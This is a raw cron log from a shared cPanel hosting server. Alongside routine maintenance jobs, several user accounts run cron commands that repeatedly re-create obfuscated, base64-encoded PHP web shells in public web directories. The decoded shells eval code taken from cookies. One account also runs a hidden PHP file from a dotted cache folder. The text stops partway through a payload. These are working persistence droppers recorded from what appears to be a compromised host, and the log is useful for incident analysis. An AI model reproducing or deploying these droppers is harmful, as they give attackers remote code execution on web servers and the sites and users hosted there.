Mar  1 03:50:01 medusa CROND[1758]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:50:01 medusa CROND[1756]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 03:50:01 medusa CROND[1753]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 03:50:01 medusa CROND[1760]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 03:50:01 medusa CROND[1762]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:50:01 medusa CROND[1770]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 03:50:01 medusa CROND[1771]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 03:50:01 medusa CROND[1772]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:50:01 medusa CROND[1774]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:50:01 medusa CROND[1773]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 03:50:01 medusa CROND[1778]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 03:50:01 medusa CROND[1775]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:50:01 medusa CROND[1776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:50:01 medusa CROND[1780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 03:50:01 medusa CROND[1779]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 03:50:01 medusa CROND[1787]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:50:01 medusa CROND[1790]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:50:01 medusa CROND[1794]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 03:50:01 medusa CROND[1791]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 03:50:01 medusa CROND[1800]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:50:01 medusa CROND[1799]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 03:50:01 medusa CROND[1789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:51:01 medusa CROND[23013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:51:01 medusa CROND[23014]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 03:51:01 medusa CROND[23094]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:51:01 medusa CROND[23095]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:51:01 medusa CROND[23098]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:51:01 medusa CROND[23099]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 03:51:01 medusa CROND[23100]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:51:01 medusa CROND[23102]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:51:01 medusa CROND[23103]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:51:01 medusa CROND[23104]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:51:01 medusa CROND[23105]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 03:51:01 medusa CROND[23106]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:51:01 medusa CROND[23107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:51:01 medusa CROND[23108]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 03:51:01 medusa CROND[23118]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:52:02 medusa CROND[13470]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:52:03 medusa CROND[13471]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQp